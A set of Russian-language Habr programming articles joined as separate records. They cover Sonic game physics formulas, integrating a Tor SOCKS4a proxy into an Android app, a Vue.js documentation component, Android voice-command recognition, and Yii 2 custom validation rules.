В *Sonic CD* введено ограничение, в ней Соник не может падать быстрее, чем 16 пикселей за шаг. Это ограничение важно, для того, чтобы Соник никогда не обгонял камеру и не пролетал через землю, потому что он мог двигаться так быстро, что даже не сталкивался с ней. Думаю, это ограничение ввели из-за увеличившейся высоты уровней, например в Collision Chaos, и бесконечной вертикальной шахты в Tidal Tempest. Без этого ограничения Соник мог бы разгоняться до огромных скоростей на некоторых участках, что могло привести к нарушению игрового процесса.
```
{
Y speed = Y speed + grv
if Y speed > 16 then Y speed = 16
}
```
**Сопротивление воздуха**
На каждом шаге, при котором Соник находится в воздухе, для горизонтальной скорости Соника применяется специальная формула, но только при наличии определённых условий. Во-первых, вертикальная скорость должна быть отрицательной. Во-вторых, вертикальная скорость должна быть больше -4 (например, -3 или -3.5 больше -4). В-третьих, абсолютное значение горизонтальной скорости должно быть больше 0.125. Если эти условия выполняются, горизонтальная скорость умножается на коэффициент 0.96875.
```
{
if Y speed < 0 and Y speed is > -4
{
if absolute(X speed) >= 0.125 then X speed = X speed * 0.96875
}
}
```
На самом деле, это лишь приблизительный расчёт, и вот почему: поскольку оригинальные игры используют 2 байта для хранения значения скорости Соника, где первый — это пиксели, а второй — субпиксели, скорость 6.5 пикселей за шаг будет выражаться шестнадцатеричным значением $0680. В десятичной форме это 1664. Конечно же, Соник не движется со скоростью больше тысячи пикселей за шаг! 1 пиксель = $100 (256), половина пикселя = $80 (128). Поэтому в оригинальной игре сопротивление воздуха должно рассчитываться примерно так:
```
{
if Y speed < 0 and Y speed is > -$0400
{
X speed = X speed - ( X speed div $0020 ) ; "div" - это целочисленное деление
}
}
```
Если бы мы выполняли эти расчёты для относительно низких значений горизонтальной скорости, которые всегда будут меньше $20 (32), на горизонтальную скорость это почти не повлияло бы. Почему? Потому что при целочисленном делении любого числа меньше 32 на 32 результатом был бы 0. Поэтому в оригинальной игре перед расчётом сопротивления воздуха не нужно проверять, больше ли горизонтальная скорость определённого значения — если горизонтальная скорость равна или меньше $001F, то в любом случае ничего не произойдёт.
Поэтому более точно эмулировать сопротивление воздуха можно следующим образом:
```
{
if Y speed < 0 and Y speed is > -4
{
X speed = X speed - ( ( X speed div 0.125 ) / 256 )
}
}
```
В любом случае, разница между двумя способами достаточно незначительна, просто второй технически более точен.
Сопротивление воздуха вычисляется на каждом шаге перед прибавлением *grv* к вертикальной скорости.
**Скорость прыжка**
Сейчас мы к этому уже привыкли, но в момент выхода игры *Sonic the Hedgehog* существовало очень много игр, в которых использовалась фиксированная высота прыжка. Не важно, как быстро игрок отпускал кнопку прыжка — персонаж всё равно поднимался вверх на одинаковое количество пикселей. Такие игры, как *Mario* и *Sonic* были одними из первых, имеющих более гибкое и отзывчивое управление, обеспечивающее улучшенные ощущения от управления персонажем, а значит и гораздо интересный и щадящий игровой процесс.
Как устроена изменяемая высота прыжка?
При нажатии кнопки «вверх», когда Соник стоит на земле, вертикальная скорость становится равной -6.5 (*jmp*). В игре без изменяемой высоты прыжка после этого не выполнялось бы никаких последующих вычислений, за исключением добавления гравитации, и скорость персонажа постепенно бы уменьшалась под её воздействием. В результате получился бы прыжок длительностью ровно 1 секунду на высоту 100 пикселей. Такой тип прыжка получается, если игрок нажимает кнопку прыжка и удерживает её, пока Соник не достигнет верхней точки своей траектории. Но хитрость, создающая изменяемую высоту прыжка, заключается в отпускании кнопки.
Когда игрок отпускает кнопку прыжка в воздухе после прыжка, компьютер проверяет, двигается ли Соник вверх (т.е. вертикальная скорость отрицательна). Если это так, затем он проверяет, меньше ли вертикальная скорость -4 (например, -5 меньше -4). Если это так, то вертикальной скорости присваивается значение -4. Таким образом можно в любой момент завершить прыжок, отпустив кнопку прыжка. Если игрок отпускает кнопку в следующем шаге после прыжка, Соник совершает самый короткий прыжок.
В шаге, на котором компьютер обнаруживает нажатие кнопки прыжка, Соник на самом деле не двигается вверх. Поэтому в следующем шаге он может распознать отпускание кнопки прыжка и Соник начнёт двигаться вверх со скоростью -4, не передвинувшись вверх со скоростью *jmp*.
Проверка на отпускание кнопки прыжка выполняется перед перемещением Соника в новое положение и прибавлением *grv* к вертикальной скорости.
К сожалению, компьютер проверяет нажатие кнопки прыжка до перемещения Соника. Если игрок нажимает кнопку прыжка, он выходит из оставшейся части цикла, поэтому Соник не двигается в течение шага, на котором игрок прыгает, ни в вертикальном, ни в горизонтальном положении. Это неправильно, потому что горизонтальная скорость не утеряна, и он должен продолжать движение. Этот недостаток можно устранить в новом движке.
Тейлс прыгает так же, как и Соник, а Наклз прыгает немного ниже, потому что имеет немного меньшее значение *jmp*, -6.
Часть 4: вращение
=================
* [1 Трение](#Friction)
* [2 Замедление](#Deceleration)
* [3 Максимальная скорость](#Top_Speed)
* [4 Условия](#Criteria)
* [5 Прыжок во вращении](#Rolling_Jump)
**Трение**
Когда Соник начинает вращаться при нажатии  на крестовине, но больше не может ускоряться. Как бы игрок долго и сильно не нажимал кнопку в направлении движения, он будет вести себя, как будто игрок ничего не нажимает. Единственное, что задействуется в этом случае — это трение, здесь оно имеет значение 0.0234375 (половина от нормального), поэтому кажется, что Соник катится плавно, как колесо или мяч. В действительности Mega Drive вычисляет трение при вращении, деля пополам значение нормального трения. Если использовать Game Genie для изменения значения трения, то трение вращения всегда будет в два раза меньше.
**Замедление**
Однако Соник всё-таки может замедляться при вращении. При нажатии кнопки в направлении, противоположном его движению, горизонтальная скорость будет уменьшаться на 0.125. Кроме того, в отличие от поведения во время ходьбы, трение при вращении продолжает действовать, даже если игрок нажмёт кнопку в направлении движения. Поэтому в действительности при замедлении горизонтальная скорость снижается в каждом шаге на 0.125+0.0234375, или на 0.1484375.
Странно, что та же аномалия замедления, как и при беге, возникает при вращении. Если абсолютное значение горизонтальной скорости меньше 0.1484375, то это значение вычитается, вместо приравнивания горизонтальной скорости к нулю, и становится равным 0.5 в противоположном направлении. Поэтому Соник неожиданным образом может при вращении повернуться, даже если не может ускориться! Эта ошибка исправлена в *Sonic 3 and Knuckles*, наверно, сами программисты сочли такое поведение нежелательным.
**Максимальная скорость**
***(Примечание: на данный момент это проверено для Sonic 1 и 2. Пока неизвестно, действительно ли это для Sonic 3K или Sonic CD.)***
Несмотря на то, что Соник не может катиться быстрее сам по себе, это не означает, что какой-нибудь холм не сможет придать ему небольшой дополнительный импульс. Холмы и склоны можно использовать для вращения с очень высокой скоростью. Как и в случае с бегом, при вращении Соник имеет предел максимальной скорости, хотя он и гораздо выше, и достигает 16 пикселей за шаг. Однако в отличие от бега, Соник никаким образом не может преодолеть это ограничение скорости. Если его *gsp* достигает значения 16 и пытается увеличиваться дальше, оно автоматически будет установлено на 16.
**Условия**
В играх *Sonic 1* и *2* Соник не может начать вращаться, если его абсолютная горизонтальная скорость больше 0.53125.
В *Sonic 3 and Knuckles* это значение увеличено до 1.03125. Это очень удобно, потому что можно удерживать кнопку «вниз» для вращения. Если бы Сонику нужно было остановиться, перед тем как он пригнётся, у игрока возникли бы сложности при быстром включении вращения.
В *Sonic 3 and Knuckles* Соник перестаёт вращаться, если его абсолютная горизонтальная скорость падает ниже 0.5, Возможно, этим способом хотели устранить аномалию, связанную с поворотом в другую сторону при вращении в предыдущих играх.
**Прыжок во вращении**
В *Sonic 1, 2, 3* и *Knuckles* игрок не может управлять траекторией Соника в воздухе с помощью кнопок направления при прыжке во вращении. Поэтому при этом сложно начать вращение для набора скорости, а затем сделать точный прыжок. В *Sonic 3* и *Sonic & Knuckles* игрок может вернуть управление кнопками направлений, выполнив W Kaiten Attack.
**W Kaiten Attack**Он же **Insta-Shield**, он же **W Spin Attack** (W回転アタック) (в Японии), он же **Twin-Spin Attack** в *Sonic Generations* — это специальное движение, впервые использованное Соником в *Sonic the Hedgehog 3*. Прыжок, а затем повторное нажатие кнопки прыжка в воздухе создаёт кратковременную вспышку, увеличивающую радиус атаки Соника и делающую его временно неуязвимым. Этот приём полезен для атаки боссов, находящихся немного за пределами радиуса атаки, и покрытых шипами врагов, таких как Orbinaut. Никто из персонажей, кроме Соника, не может использовать этот приём.
**Orbinaut**
Однако в *Sonic CD* игрок может управлять прыжком, сделанным во вращении, как если бы это был обычный прыжок. Думается, что это более честно по отношению к игроку. | https://habr.com/ru/post/278373/ | null | ru | null |
# Лёгкая интеграция tor в android приложение на примере клиента для рутрекера
Мне давно было интересно, можно ли легко добавить проксирование через тор в Android приложение. Вроде бы довольно очевидная задача, плюс тор браузеры уже под эту платформу давно есть… Но есть много задач, которые сложнее, чем кажутся. Для нетерпеливых сразу скажу — да, можно, и получается довольно легко, быстро и классно. В особенности если не копать с нуля, а воспользоваться моими наработками.
Для примера я буду использовать приложение для работы с рутрекером — никто не любит код, который работает со сферический конём в вакууме. Раньше это приложение обходило блокировку [при помощи Google Compression Proxy](https://habrahabr.ru/post/279267/) — но увы — то ли рутрекер, то ли гугл выпилил возможность авторизации с этой проксёй. Сразу скажу, что, конечно, есть всякие впны и прочее, что вы используете для лёгкого обхода блокировки и просмотра сериальчиков. Но речь здесь идёт не про это. Как вы понимаете, тор можно использовать в мобильном приложении для огромного количества вещей — например, для доступа к веб сайтам в .onion или для реализации особо безопасного мессенджера.
Как подключить библиотеку для работы с Тором
============================================
Как собрать с нуля
------------------
Если вас не интересует сборка с нуля, то сразу перейдите к следующему заголовку.
Итак, что у нас есть на эту тему из готового инструментария. Есть особый репозиторий от неких ребят под предводительством Microsoft (ссылка в подвале). Вроде бы у них всё работало — но качество и механизм сборки просто ужасают. А ещё репозиторий устарел на два года. И скомпилированный версии библиотеки там нет, есть только довольно стрёмные инструкции по тому, как собрать её самостоятельно (в стиле — “я делал так, не знаю почему, но без этого ничего не работало”). Впрочем, имеющихся инструкций вполне достаточно для того, чтобы обновить код до актуального состояния и исправить все странные косяки.
1. Клонируем себе этот репозиторий.
2. Обновляем там компонент, который отвечает за управление тором — jtorctl. Они использовали форк основного репозитория с правками от briar, но эти правки уже включены в основной репозиторий, так что лучше взять с основного. Можно подключать из maven репозитория, но я такие вещи обычно забираю исходниками — можно сразу посмотреть, прогнать анализ и править на лету баги — проект-то довольно сырой, несмотря на возраст.
3. Обновляем geoip и geoip6 — базы данных блоков IP-адресов с привязкой к географическому положению каждого блока для версий IPv4 и IPv6 соответственно. Для этого скачиваем на сайте тора windows expert bundle.
4. Обновляем сам тор (то есть нативную библиотеку). Стандартной общедоступной нет (ну или я плохо искал) — так что идём к ребятам, которые разрабатывают тор и тор браузер под андроид (Orbot и Orfox), берём последний релиз их Orbot и вынимаем оттуда библиотеку. Тор там довольно свежий, что приятно.
5. Правим руками всё, что перестало компилироваться в нашем проекте. Несколько функций в зависимых библиотеках изменились, но в целом всё интуитивно понятно и поправимо за 5 минут.
6. Следуя рекомендациям ридми нашего проекта, создаём локальные мавен репозитории и строим из кучи кусков наш проект. Кстати, обратите внимание, что билд скрипт настолько кривой, что в одном месте включает в себя предыдущий релиз себя же. Жуть. Так что рекомендую переписать его заново, простым и понятным языком, чтобы получить на выходе обыкновенную библиотеку aar.
Как собрать из моих наработок
-----------------------------
Пункты 1-6 я уже сделал за вас, так что просто соберите библиотеку из моего репозитория, или скачайте её в секции релизов. Ссылка будет в “подвале” поста. Однако обращаю внимание, что правильным будет проверить код и библиотеки на соответствие оригинальным и отсутствие закладок. Не стоит такие вещи добавлять вслепую в свои приложения.
Как перестать волноваться и начать проксировать через тор
=========================================================
Сначала нужно включить тор:
```
int totalSecondsPerTorStartup = 4 * 60;
int totalTriesPerTorStartup = 5;
try {
boolean ok = onionProxyManager.startWithRepeat(totalSecondsPerTorStartup, totalTriesPerTorStartup);
if (!ok)
Log.e("TorTest", "Couldn't start Tor!");
}
catch (InterruptedException | IOException e) {
e.printStackTrace();
}
```
Затем подождать, пока он подцепится:
```
while (!onionProxyManager.isRunning())
Thread.sleep(90);
```
Если всё прошло успешно — ура, он слушает у нас localhost на каком-то случайном порту:
```
Log.v("My App", "Tor initialized on port " + onionProxyManager.getIPv4LocalHostSocksPort());
```
Но это пока не всё. У нас теперь есть тор, который слушает порт в качестве Socks4a прокси. Однако далеко не все стандартные библиотеки умеют работать с Socks4a. Там из соображений анонимности требуется, чтобы резолв хоста происходил на прокси, а не ранее. Не знаю, какие из стандартных библиотек это умеют, и у меня был код, написанный с Apache HttpComponents. Я уже [писал ранее](https://habrahabr.ru/post/308522/), почему их можно использовать, да и данный пост не про то. Если вы хотите, то можете реализовать то же самое на любой другой библиотеке.
Итак, для использования httpComponents нам нужно переписать ConnectionSocketFactory и SSLConnectionSocketFactory.
**SSLConnectionSocketFactory**
```
public class MySSLConnectionSocketFactory extends SSLConnectionSocketFactory {
public MySSLConnectionSocketFactory(final SSLContext sslContext) {
super(sslContext);
}
@Override
public Socket createSocket(final HttpContext context) throws IOException {
return new Socket();
}
@Override
public Socket connectSocket(
int connectTimeout,
Socket socket,
final HttpHost host,
final InetSocketAddress remoteAddress,
final InetSocketAddress localAddress,
final HttpContext context) throws IOException {
Args.notNull(host, "HTTP host");
Args.notNull(remoteAddress, "Remote address");
InetSocketAddress socksaddr = (InetSocketAddress) context.getAttribute("socks.address");
socket = new Socket();
connectTimeout = 100000;
socket.setSoTimeout(connectTimeout);
socket.connect(new InetSocketAddress(socksaddr.getHostName(), socksaddr.getPort()), connectTimeout);
DataOutputStream outputStream = new DataOutputStream(socket.getOutputStream());
outputStream.write((byte) 0x04);
outputStream.write((byte) 0x01);
outputStream.writeShort((short) host.getPort());
outputStream.writeInt(0x01);
outputStream.write((byte) 0x00);
outputStream.write(host.getHostName().getBytes());
outputStream.write((byte) 0x00);
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
if (inputStream.readByte() != (byte) 0x00 || inputStream.readByte() != (byte) 0x5a) {
throw new IOException("SOCKS4a connect failed");
} else
Log.v("SSLConnectionSF", "SOCKS4a connect ok!");
inputStream.readShort();
inputStream.readInt();
SSLConnectionSocketFactory sslSocketFactory = SSLConnectionSocketFactory.getSocketFactory();
SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createLayeredSocket(socket, host.getHostName(), host.getPort(), context);
prepareSocket(sslSocket);
return sslSocket;
}
}
```
**ConnectionSocketFactory**
```
public class MyConnectionSocketFactory implements ConnectionSocketFactory {
@Override
public Socket createSocket(final HttpContext context) throws IOException {
return new Socket();
}
@Override
public Socket connectSocket(
int connectTimeout,
Socket socket,
final HttpHost host,
final InetSocketAddress remoteAddress,
final InetSocketAddress localAddress,
final HttpContext context) throws IOException, ConnectTimeoutException {
InetSocketAddress socksaddr = (InetSocketAddress) context.getAttribute("socks.address");
socket = new Socket();
connectTimeout = 100000;
socket.setSoTimeout(connectTimeout);
socket.connect(new InetSocketAddress(socksaddr.getHostName(), socksaddr.getPort()), connectTimeout);
DataOutputStream outputStream = new DataOutputStream(socket.getOutputStream());
outputStream.write((byte) 0x04);
outputStream.write((byte) 0x01);
outputStream.writeShort((short) host.getPort());
outputStream.writeInt(0x01);
outputStream.write((byte) 0x00);
outputStream.write(host.getHostName().getBytes());
outputStream.write((byte) 0x00);
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
if (inputStream.readByte() != (byte) 0x00 || inputStream.readByte() != (byte) 0x5a) {
throw new IOException("SOCKS4a connect failed");
} else
Log.v("SSLConnectionSF", "SOCKS4a connect ok!");
inputStream.readShort();
inputStream.readInt();
return socket;
}
}
```
Использовать эти фабрики легко и просто. Для этого нужно создать HttpClient, который использует эти библиотеки:
```
public HttpClient getNewHttpClient() {
Registry reg = RegistryBuilder.create()
.register("http", new MyConnectionSocketFactory())
.register("https", new MySSLConnectionSocketFactory(SSLContexts.createSystemDefault()))
.build();
PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(reg);
return HttpClients.custom()
.setConnectionManager(cm)
.build();
}
```
И указать ему наш прокси сервер:
```
HttpClient cli = getNewHttpClient();
int port = onionProxyManager.getIPv4LocalHostSocksPort();
InetSocketAddress socksaddr = new InetSocketAddress("127.0.0.1", port);
HttpClientContext context = HttpClientContext.create();
context.setAttribute("socks.address", socksaddr);
```
Всё, теперь мы можем использовать тор так же, как если бы делали обыкновенные запросы. Более того, мы можем так же обращаться и к веб сайтам .onion.
Результат
=========
Получившийся код я использовал в своём приложении для рутрекера. Да, инициализация тора занимает около 20 секунд, и страницы грузятся не так быстро — но зато мы гарантированно проходим блокировку. А все ресурсы, которые не блокированы, подгружаются через обычное соединение. Можно было бы остальные ресурсы пропускать через Google Compression Proxy, но многие жаловались, что у них заблокирован этот прокси — так что я не стал этого делать. Конечно, в приложении можно было бы ещё много всего сделать — например, кэшировать статику на телефоне для экономии трафика и более быстрой работы — но это не столь критично, да и приложение я писал скорее для примера.
Заключение
==========
Тор на андроиде — классная и удобная штука, которая достаточно работает, и её действительно можно использовать в своих приложениях. Кстати да, есть гораздо более лёгкий способ это делать — просто требовать установки Orbot, который сам поднимет вам тор. Но мне не нравятся зависимости одних приложений от других, да и 3 лишних мегабайта не так критичны в размере приложения. Так что если кому понравилось моё решение — используйте, делайте пулл реквесты, и да пребудет с вами свобода.
Ссылки:
=======
1. [Исходная библиотека](https://github.com/thaliproject/Tor_Onion_Proxy_Library);
2. [Моя сборка библиотеки](https://github.com/jehy/Tor-Onion-Proxy-Library);
3. [Приложение для рутрекера](https://github.com/jehy/rutracker-free);
4. [Guardian Project](https://guardianproject.info) — ребята, которым мы обязаны наличием нативной тор библиотеки.
 | https://habr.com/ru/post/313030/ | null | ru | null |
# Vue.js компонент для справки/документации
Пару раз понадобилось встроить в сайт справочную систему. Простенькую, с тремя колонками — общее меню, текущая статья и меню содержания статьи. Поиски готового компонента/библиотеки не привели к успеху совсем. Поэтому пришлось написать свой, который предлагается к использованию.
Большинство существующих систем документирования представляют собой генераторы статичных сайтов. То есть, при небольшом изменении контента всё надо перегенерировать, что не очень удобно. Также, не у всех есть правая колонка, не у всех, у кого есть, она работает в полной мере (кликабельна и отслеживает и показывает текущее положение страницы статьи). Не у всех дерево меню имеет необходимую глубину вложенности. Не все легко кастомизируются стилями. И еще много разных "не все". Была сделана попытка большую часть этих недостатков (всё субъективно, конечно) устранить.
Особенности
-----------
* Легкий (30KB в UMD с Markdown в gzip-e в браузерной версии)
* Быстрый, юзер-френдли шаблон
* Полностью стилизуемый кастомным СSS
* Удобен для использования во встроенных системах документирования/справки
* Формат контента — HTML и Markdown. Структура меню и контент статей располагается в `vbcfg.json` файле и в отдельных `.html` или `.md` файлах, и легко модифицируется без ребилда приложения.
* Опциональная предзагрузка статей
* Опциональный роутер — позволяет пользователям сохранять в закладки браузера ссылки на отдельные статьи
* Изначально без зависимостей (библиотек). Для маркдауна подключается `marked` (или аналог на выбор), для цветовой дифференциации программного кода в блоках — `hightligh.js`. Для роутинга — `vue-router`
* Вложенность пунктов меню неограничена. Правое меню контента статьи генерируется автоматически по H1-H6 тэгам.
> SEO был не нужен, поэтому этот вопрос не рассматривался. Если понадобится — есть внешние средства, позволяющие "озрячить" поисковики, и не вносящие в проект и код приложения ненужную тяжесть.
Компонент `vuesence-book` можно использовать как в Node.js приложении так и в браузере, подключая скриптом.
**Node.js**
```
npm install @vuesence/book --save
```
```
import VuesenceBook from "@vuesence/book";
export default {
name: "App",
components: {
VuesenceBook
}
};
@import './css/default.css';
/\* @import './css/vuepress-style.css'; \*/
/\* @import './css/google-style.css'; \*/
```
**Browser**
```
vuesence-book demo
new Vue({ el: '#app' })
```
### Атрибуты vuesence-book элемента
**VuesenceBook props**
* **article-lazy-load** — загрузка статей по запросу или при создании компонента. По умолчанию: `false`
* **cfg-path** — путь к конфигурационному файлу. По умолчанию: "vbcfg.json"
* **article-path** — путь к статьям. По умолчанию: "pages/"
* **header-title** — заголовок хедера. По умолчанию: "Vuesence.Book"
* **show-header** — показывать хедер или нет. Если нет, то открывать боковое меню в мобильном виде надо программно (`openSidebar()`, `closeSidebar()` и `toggleSidebar()` методы на компоненте). По умолчанию: `true`
* **hide-header-in-desktop-view** — спрятать хедер в десктопе виде. Используется, чтобы настроить поках хедера только в мобильном представлении. По умолчанию: `false`
* **hide-root-in-article-navigation** — не показывать корневой заголовок в меню в правой колонке (часто совпадает с названием статьи) По умолчанию: `false`
* **use-router** — использовать Vue-router или нет. Содержащее VuesenceBook Node.js приложение должно добавить `route` для VuesenceBook контента. Для браузерной версии должно быть установлено на `false`. По умолчанию: `true`
### Конфигурационный файл
**Пример vbcfg.json**
```
{
"startArticle": "overview",
"data": [{
"title": "TOC",
"sections": [
{
"id": "overview",
"title": "Overview",
"url": "overview.html"
},
{
"title": "Setup",
"sections": [
{
"id": "install",
"title": "Installation",
"url": "installation.md"
}
]
}
]
},
{
"title": "Examples",
"id": "design",
"sections": [
{
"id": "5",
"title": "Inline HTML",
"content": "Inline HTML article
-------------------
This text is embedded in the **vbcfg.json** file. Other articles are in separate HTML and MD files.
"
}
]
}
]
}
```
Если у статьи есть атрибут `content` — используется его значение (без изменения формата). В противном случае статья загружается по `url`. Тип контента определяется по расширению файла.
### Ссылки
[NPM](https://www.npmjs.com/package/@vuesence/book), [GitHub](https://github.com/altrusl/vuesence-book/)
Поэкспериментировать с Vuesence Book можно в [песочнице](https://codesandbox.io/s/vuesence-book-0rfh5)
Подробная документация по компоненту [здесь](https://altrusl.github.io/vuesence-book/)
Этот же сайт представляет собой пример Vuesence Book, запущенного в режиме браузера (100/95 баллов на PageSpeed, кстати, без сетевой оптимизации).
Bugs, issues, feature and pull requests are welcome
Понравилось — [GitHub star](https://github.com/altrusl/vuesence-book/). | https://habr.com/ru/post/502258/ | null | ru | null |
# Управление голосом в приложениях на Android
Началось все с того, что я посмотрел неплохой обзор (сравнение) Siri и Google Now. Кто из них лучше, спорить не буду, однако у меня лично планшет на Андроиде. Я подумал, а что если написать калькулятор полностью на голосовом управлении (удобно ли будет?). Но для начала пришлось немного разобраться с самим голосовым управление, точнее говоря с голосовым вводом (управления еще добиться надо). Кроме того, я только что скачал Android Studio, и мне не терпелось скорей опробовать ее на практике (ну на минипроекте). Что ж, начнем.
Кидаем на активность **ListView** и **Button**. В ЛистВью будем сохранять сами команды, точнее варианты одной команды, а кнопка будет вежливо спрашивать, чего мы желаем. Да, программа логикой не будет обладать, с ее помощью просто посмотрим саму реализацию.
Добавим так же в Манифест одно разрешение
```
```
И все, теперь можно переходить непосредственно к программированию. «Находим необходимые компоненты»:
```
private ListView mList;
private Button speakButton;
public static final int VOICE_RECOGNITION_REQUEST_CODE = 1234;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
speakButton = (Button) findViewById(R.id.button);
speakButton.setOnClickListener(this);
mList = (ListView) findViewById(R.id.listView);
}
```
Прописываем обработчик нажатия для кнопки, который вызовет метод startSpeak(), о котором мы поговорим далее:
```
public void onClick(View v) {
startSpeak();
}
```
Ну наконец закончилась «вода». Начинаем «говорить»:
```
public void startSpeak() {
Intent intent = new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH); // намерение для вызова формы обработки речи (ОР)
intent.putExtra(RecognizerIntent.EXTRA_LANGUAGE_MODEL, RecognizerIntent.LANGUAGE_MODEL_FREE_FORM); // сюда он слушает и запоминает
intent.putExtra(RecognizerIntent.EXTRA_PROMPT, "What can you tell me?");
startActivityForResult(intent, VOICE_RECOGNITION_REQUEST_CODE); // вызываем активность ОР
}
```
Пришло время дать волю фантазии и решить какие команды использовать. Сам я сначала хотел показать на примере тетрисного танчика: диктовали бы ему «up», «down», «left», «fire» и так далее, но ~~это сложно~~ оставляю вам. Я же отдавал команды по смене цвета кнопки, выходу из приложения, открытию страниц в браузере, запуску карт и перезагрузке устройства. Что касается последнего, reboot, это команда будет работать, как я понял, только на рутованных устройствах. На телефоне у меня есть права СП и все хорошо работает, а вот на планшете, он просто игнорирует эту команду. В записи команд нет ничего сложного, думаю комментариев будет достаточно:
```
public void onActivityResult(int requestCode, int resultCode, Intent data){
if (requestCode == VOICE_RECOGNITION_REQUEST_CODE && resultCode == RESULT_OK){
ArrayList commandList = data.getStringArrayListExtra(RecognizerIntent.EXTRA_RESULTS);
mList.setAdapter(new ArrayAdapter(this, android.R.layout.simple_list_item_1, commandList));
// для лучшего распознавания английского языка, поставьте в настройках англ. яз как язык системы
// хотя все то же самое можно проделать и с русскими словами
if (commandList.contains("red")){
speakButton.setText("red");
speakButton.setBackgroundColor(Color.RED);
}
if (commandList.contains("blue")){
speakButton.setText("blue");
speakButton.setBackgroundColor(Color.BLUE);
}
if (commandList.contains("green")){
speakButton.setText("green");
speakButton.setBackgroundColor(Color.GREEN);
}
if (commandList.contains("yellow")){
speakButton.setText("yellow");
speakButton.setBackgroundColor(Color.YELLOW);
}
if (commandList.contains("white")){
speakButton.setText("white");
speakButton.setBackgroundColor(Color.WHITE);
}
if (commandList.contains("black")){
speakButton.setText("black");
speakButton.setBackgroundColor(Color.BLACK);
}
// выйти
if (commandList.contains("finish")){
finish();
}
// попробуем открыть гугловские карты
if (commandList.contains("maps")){
Intent i = new Intent();
PackageManager manager = getPackageManager();
i = manager.getLaunchIntentForPackage("com.google.android.apps.maps");
i.addCategory(Intent.CATEGORY_LAUNCHER);
startActivity(i);
}
//попросим открыть некоторые сайты
if (commandList.contains("google")){
finish();
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com"));
startActivity(browserIntent);
}
if (commandList.contains("facebook")){
finish();
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.facebook.com"));
startActivity(browserIntent);
}
// если у Вас есть права суперпользователя
// Можно как-то и добавив "android.permission.REBOOT", но я не стал на этом заморачиваться (пока)
if (commandList.contains("reboot")){
try {
Process proc = Runtime.getRuntime()
.exec(new String[]{ "su", "-c", "reboot -p" });
proc.waitFor();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
super.onActivityResult(requestCode, resultCode, data);
}
```
Так выглядит окно записи команд:
Скажем с красивым английским акцентом «maps». Вызвали Google Maps:
«Blue»:
Как видите, в списке выводятся все возможные (похожие) слова и из них уже выбирается необходимое нам.
Ну и на «finish», я закончил беседу с бездушной (или нет?) машиной.
Надеюсь моя небольшая статья побудит кого-нибудь на создание (не, не терминатора) какого-либо перспективного проекта, который упростит повседневную жизнь людям, а вам принесет миллионы, ну или хотя бы окажется полезной. Дерзайте!
P.S.: парочка полезных ссылок, на [документацию](http://developer.android.com/reference/android/speech/RecognizerIntent.html) и на [исходники](https://github.com/vlad0058/VoiceApp) | https://habr.com/ru/post/180515/ | null | ru | null |
# Собственные валидации полей для Rules в одном классе
Валидация входных данных заслуженно является одним из важнейших правил во всей сфере IT. Если сузить сферу деятельности до разработки веб-сайтов, речь пойдет в основном про валидацию данных из форм.
Я не думаю, что многие разработчики любят проверять входные данные и делают это достаточно тщательно, поэтому в современных фреймворках, таких как **Yii 2**, предусмотрены функции **rules()** для моделей и классы-Валидаторы, которые хоть и не избавляют от этой рутины, но, как минимум, делают этот процесс менее нудным.
В современной документации **Yii 2** и других источниках я не нашел живой пример, как сделать так, чтобы все собственные правила валидации хранились в одном месте и их было удобно использовать, если Вы заинтересованы в решении этой проблемы, добро пожаловать под кат.
### Немного о себе
Я не могу назвать себя искушенным в ООП программистом, более того я далек от формальных планок Middle developer и сейчас нахожусь скорее на стадии Junior. Я начал свой путь веб-разработчика в 2007 (тогда мне было 15 лет), все делал на коленке, поглощая тонны литературы, но в 2010 благополучно «слился», поступив в университет на специальность, которая недостаточно пересекалась с разработкой и программированием в целом, а вернулся в сферу лишь полгода назад. Чтобы более точно выразить степень своего опыта, каждый раз, когда я смотрю на свой код неделю спустя, я думаю [«Что за хрень написал этот программист?»](http://www.bash.org/?6824) Поэтому не исключена ситуация, что Вам покажется эта статья бессмысленной или слишком поверхностной, или, что более печально, некорректной.
### Суть проблемы
Для повседневных нужд и стандартных задач правил «из коробки» **Yii 2.0\*** вполне хватает, однако когда речь идет о более щепетильной работе валидаторов и удобстве их использования мы столкнемся с некоторыми трудностями, которые противоречат различным принципам, в том числе **DRY**, да и в целом, они могут выглядеть
**крайне уродливо**
```
public function rules() {
return [
[ [ 'product_id' , 'currency_id' , 'unit_id' , 'quantity' , 'price', 'phone' ] , 'required' ] ,
[['phone'], function ($attribute, $params, $validator) {
$pattern = "/^[8|+7]922\d{7}$/uism";
if (preg_match($pattern, $this->$attribute) == 0) {
$this->addError($attribute, 'Принимаются только номера мегафона в Перми!');
$region = Yii::$app->newRegions->addRegionByPhone( $this->$attribute );
Yii::$app->log->write("Потенциальный клиент из другого региона: " . $region);
}
}],
[['price'], function ($attribute, $params, $validator) {
if (!is_numeric($this->$attribute) || (float) $this->$attribute <= 0)
$this->addError($attribute, 'Неверное значение цены');
}],
[['quantity'], function ($attribute, $params, $validator) {
if ((int) $this->$attribute < 0)
$this->addError($attribute, 'Количество может быть меньше нуля');
}],
[ [ 'vendor_code' ] , 'string' , 'max' => 255, 'message' => 'Артикул должен содержать от 25 до 255 символов.' ] ,
[ [ 'currency_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Currencies::className() , 'targetAttribute' => [ 'currency_id' => 'id' ], 'message' => 'Выберите валюту' ] ,
[ [ 'product_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Products::className() , 'targetAttribute' => [ 'product_id' => 'id' ] ], 'message' => 'Выберите товар' ,
[ [ 'unit_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Units::className() , 'targetAttribute' => [ 'unit_id' => 'id' ], 'message' => 'Выберите единицу измерения' ] ,
[ [ 'user_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => User::className() , 'targetAttribute' => [ 'user_id' => 'id' ], 'message' => 'Выберите поставщика' ] ,
];
}
```
Конечно можно все замыкания заменить на
**callback функции**
```
public function rules() {
return [
